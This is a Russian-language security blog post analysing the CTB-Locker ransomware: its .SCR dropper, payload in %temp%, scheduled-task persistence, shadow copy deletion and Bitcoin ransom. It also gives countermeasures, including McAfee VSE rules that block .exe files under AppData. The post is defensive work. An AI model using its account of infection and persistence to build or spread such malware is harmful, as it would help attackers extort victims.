Таким образом, за 1-2 минуты мы получили полную раскладку по активности зловреда, при этом не дав ему запуститься на рабочих системах. А поскольку McAfee ATD интегрирована с антивирусом на конечных точках и со шлюзами, попытка транспортировки и запуска данного образца теперь будет автоматически блокироваться по контролируемым каналам (а новые/измененные образцы будут неизменно сперва запускаться в “песочнице”). Однако нам, как образцовому специалисту надлежит выполнить несколько шагов для усиления безопасности вверенной нам инфраструктуры. О них речь пойдет ниже.


Советы по контрмерам

Итак, что мы знаем об угрозе:

  • Он бинарен, т.е. состоит из двух модулей;
  • Dropper – .SCR файл (в “обертке” .ZIP либо .CAB) весом 30-50 Кб распространяется через email вложения либо URL;
  • Payload – .EXE файл весом 600-800 Кб загружается dropper`ом в каталог %temp%;
  • Он не требуется повышенных привилегий;
  • Он шифрует файлы, удаляя оригиналы и отключая теневое копирование;
  • Ключи шифрования – уникальны для каждой системы;
  • Он может шифровать файлы также и на сетевых дисках;
  • Способа расшифровки на данный момент кроме выплаты 300-700$ нет;
  • C&C (управляющие сервера) расположены в сети TOR;
  • Этот вирус продается как готовый инструмент для любого script kiddie;
  • Вирус не дает выбирать файлы для тестовой расшифровки и выполняет ее даже в автономном режиме (без доступа к Сети), это может означать, что эти 5 файлов выбираются заранее и шифруются отдельным ключем, который храниться локально.

Исходя из этого логично предположить два основных правила, которые касаются как простых пользователей так и ИТ/ИБ специалистов:

  1. Не попадаться!
  2. Делать бэкапы (резервные копии важных данных).

Какой смысл я вкладываю в правило “не попадаться”?

Домашним и корпоративным пользователям стоит быть предельно внимательными и подозрительными при работе в Сети. Это значит не открывать/не загружать/не запускать подозрительные файлы/вложения/ссылки, особенно если вы не знаете отправителя либо вы не искали/не запрашивали этот файл.

Корпоративным ИТ/ИБ специалистам на заметку:

Проведите очередной (либо первый) ликбез для ваших сотрудников. Покажите им результаты работы CTB-Locker. Благо, McAfee ATD позволяет вмешиваться в процесс анализа и получать управление над заражаемой виртуальной средой.

Идем дальше, способ доставки угрозы известен, а это означает, что необходимо проверить настройки фильтрации файлов на корпоративных шлюзах и если этого еще не сделано, то банально запретить передачу .exe, .scr и .cab, а прочие файлы архивного типа поддавать жесткому антивирусному сканированию.

CTB-Locker как и его “коллеги по цеху” (я имею ввиду предшественника Cryptolocker и свежие образцы CryptoWall) имеют схожую систему заражения. Стоит учитывать, что если мы не заблокировали доставку и разрешили запустить основной модуль – файлы будут зашифрованы и в этом случае нас может спасти только наличие резервных копий. Лично я считаю, что проще упредить нанесение ущерба чем бороться с последствиями, поэтому, для защиты от запуска основного модуля из каталога %temp% либо по произвольному пути \AppData\ можно воспользоваться либо групповыми политиками, либо сторонним решением.


Если вы являетесь пользователями защиты конечных точек от McAfee, то:

  1. проверьте актуальность вирусных сигнатур (DAT);
  2. проверьте соединение VSE с “облаком” GTI (KB53733);
  3. обратите внимание на Access Protection Rules:

Для защиты от новых образцов CTB-Locker и ему подобных угроз необходимо создать несколько правил

VSE\Access Protection Policies\User-defined Rules \ File\Folder Blocking Rule ->

+ Files being executed

+ New Files created

ePO _ VSE _ Access Protection Policies

ePO _ VSE _ Access Protection Policies

Запрет создания/запуска .exe в AppData

Запрет создания/запуска .exe в AppData

Необходимо создать три таких правила по одному для каждой маски пути:
**\Users\*\AppData\*.exe
**\Users\*\AppData\*\*.exe
**\Users\*\AppData\*\*\*.exe

Эти три правила обеспечат простую и в тоже самое время эффективную защиту от попытки запуска .exe файлов из каталога профиля ваших пользователей, включая каталог %temp% (если конечно значение этой переменной не было изменено на другой путь).

Я уже писал об этом раньше, но стоит напомнить. Это касается всех, кто использует McAfee VirusScan Enterprise (VSE) для защиты серверов и рабочих станций. Коллеги, не ленитесь использовать Access Protection Policies изменяя их под свои задачи. Помните, что by default они защищают только сам антивирусный модуль, но при правильной настройке они могут оказать вам неоценимую услугу в борьбе с новыми, еще неизученными угрозами.

ePO_VSE_AccProtect_samples_1

Это НЕ default конфигурация

Это не default конфигурация

Это НЕ default конфигурация

Будьте осторожными и не попадайтесь!

ps

Еще немного аналитики по ransomware и анонимным сетям

Последние образцы CTB-Locker и 3-я версия CryptoWall имеют схожий принцип работы, однако CTB использует в качестве площадки под C&C сеть TOR, а CryptoWall – I2P. Учитывая успех монетизации, даже несмотря на относительно высокую сумму выкупа, стоит ожидать дальнейшей эволюции как со стороны существующих шифровальшиков-вымогателей так и появления новых видов. К сожалению, как показывает мониторинг специализированных ресурсов и блогов, большая часть пользователей и администраторов была не готова к CTB и подобных ему (хотя идея применять шифрование в таком ключе возникла не вчера). Отмечается большой процент тех пользователей, которые понадеялись на появление дешифраторов, а с течением времени все же заплатили выкуп (300-700$) из-за отсутствия резервных копий ценной информации. Что же касается использования TOR и I2P – это ожидаемый шаг со стороны злоумышленников, который усложняет идентификацию хозяина серверов и попытки блокировки C&C.

pps

Дополнительная информация по CTB-Locker, Cryptolocker и CryptoWall

McAfee Knowledge Center:

Threat Advisory: CTB-Locker

Protecting against Cryptolocker and CryptoWall – Rev C

Threat Advisory: Ransom Cryptolocker

Разбор CTB-Locker в блогах исследователей:

malware.dontneedcoffee.com – заметка 1

malware.dontneedcoffee.com – заметка 2

bleepingcomputer.com – способы защиты

CTB-Locker_анализ

Или как процесс “заражения”/шифрования выглядит в динамике

ctb

Все начинается с небольшого вложения к письму из SPAM-рассылки, которое содержит якобы важный документ. На самом деле внутри архивного вложения с произвольным именем (.CAB, .RAR, .ZIP либо .7Z) содержится запускной файл формата .SCR (“весом”от 30 до 50 Кбайт), который является т.н. dropper`ом, т.е. модулем, который обеспечивает загрузку основного тела вируса.

Если жертва оказалась настолько любопытной чтобы распаковать и запустить .SCR файл, ей демонстрируется .RTF документ бессмысленного содержания. Примеры документов из различных образцов представлены ниже:

(обратите внимание на имена файлов, которые шли в комплекте с различными образцами)

ctb_decompress

ctb_decompress2

ctb_decompress3

Пока ничего не подозревающая жертва с удивлением изучает документ, в фоне происходит докачка основной “полезной” нагрузки (payload). Основной модуль сохраняется с произвольным именем по пути %temp%\*.EXE

  • для NT 5.x \Documents and Settings\%name%\Local Settings\Temp
  • для NT 6.x \Users\%name%\AppData\Local\Temp

(!) Важный момент: отсутствие административных привилегий не является препятствием для запуска .SCR и активации основного модуля вируса. Грубо говоря, если на данном этапе активность вируса не будет остановлена защитными мерами – заражения, а фактически шифрования файлов не избежать.

Что же происходит при активации основного модуля? Во-первых он закрепляется в системе – добавляет запуск самого себя скрытой задачей в системный планировщик:

ctb_scheduler

И дополнительно копирует свое тело с произвольным именем в том же каталоге по пути %temp%

ctb_tmp_payload

ctb_procexp_payload

А дальше события развиваются по такому сценарию: процесс вируса развивает бурную деятельность по поиску файлов определенного типа, как правило это документы MS Office, PDF файлы, изображения и т.д. Как только вирус обнаруживает такие файлы, он шифрует их используя асимметричное шифрование при этом удаляя оригиналы файлов. В первых образцах вируса (появление которых было зафиксировано в начале-середине июля 2014) файлы можно было восстановить через механизм теневых копий (System Protection). В текущих версиях авторы исправили этот момент – параллельно с процессом шифрования вирус пытается отключить System Protection и удалить существующие точки восстановления. Если система будет перезагружена либо пользователь выйдет из системы – процесс шифрования будет продолжен вновь при включении (входе в систему) – это обеспечивается за счет задачи в планировщике. Параллельно с шифрованием файлов вирус также пытается найти подключенные сетевые диски. Если в системе таковые имеются – не трудно догадаться о том, какая участь их постигнет. Пока вирус занят шифрованием он не подает особых признаков жизни, и если пользователь не заглядывает в дерево запущенных процессов, единственное что ему может броситься в глаза – файлы постепенно будут обретать новое расширение и перестанут открываться. Пример ниже:

ctb_doc_before

ctb_doc_after

Когда все полезное содержимое диска до которого вирус смог получить доступ будет зашифровано, вирус соединится с командным центром, выгрузит закрытый ключ шифрования на сервер, создаст два файла в каталоге “Документы” – текст и изображения с инструкциями для жертвы, которое в последствии будет использовано для подмены фона Рабочего стола.

ctb_user_manual

ctb_user_manual_bmp

ctb_desk_wallpaper

В конце пользователь скомпрометированной системы получит окно, которое будет развернуто поверх запущенных приложений:      ctb_notifyЖертве ставят ультиматум – либо в течении 96 часов на электронный кошелек злоумышленника попадает требуемая сумма (1,5 – 3 Bitcoin ~ 340$ – 700$), либо закрытый ключ будет уничтожен и файлы останутся зашифрованными. На самом деле, злоумышленники предусмотрели возможность расшифровки в случае оплаты по истечении 96 часов, в данном случае это просто попытка запугать пользователя зараженной системы. Жертве предлагают ознакомиться со списком файлов, которые были зашифрованы. Ради подтверждения того, что процесс обратим и файлы не просто испорчены, а зашифрованы, CTB-Locker предлагает расшифровать 5 произвольно выбранных файлов. В конечном итоге все сводится к вымогательству криптовалюты на один из кошельков злоумышленников.

ctb_list_of_files ctb_test_decrypt ctb_payment1 ctb_payment2 ctb_payment3

Детальный анализ и рекомендации по защите от CTB-Locker и подобных ему Ransomware будут рассмотрены в следующей заметке.

Подводя промежуточные итоги следует помнить главное:

  1. на данный момент способа восстановить зашифрованные файлы (помимо выплаты BTC) нет;
  2. в первые часы активности и сейчас в случаях полиморфизма, от заражения может спасти ряд факторов:
    • запрет запуска исполняемых файлов из каталогов временных файлов;
    • наличие актуальных резервных копий;
    • фильтр .SCR вложений на почтовых шлюзах;
    • очистка web-траффика (отмечены попытки заражения через URL);
    • наличие т.н. “песочницы” которая бы позволила безопасно изучить поведение файла до его открытия на рабочих станциях.

О мерах предосторожности и о роли “песочницы” в борьбе с неизвестными угрозами читайте в следующей заметке.

ps

Будьте осторожны при использовании высоких технологий, не попадайтесь на уловки злоумышленников.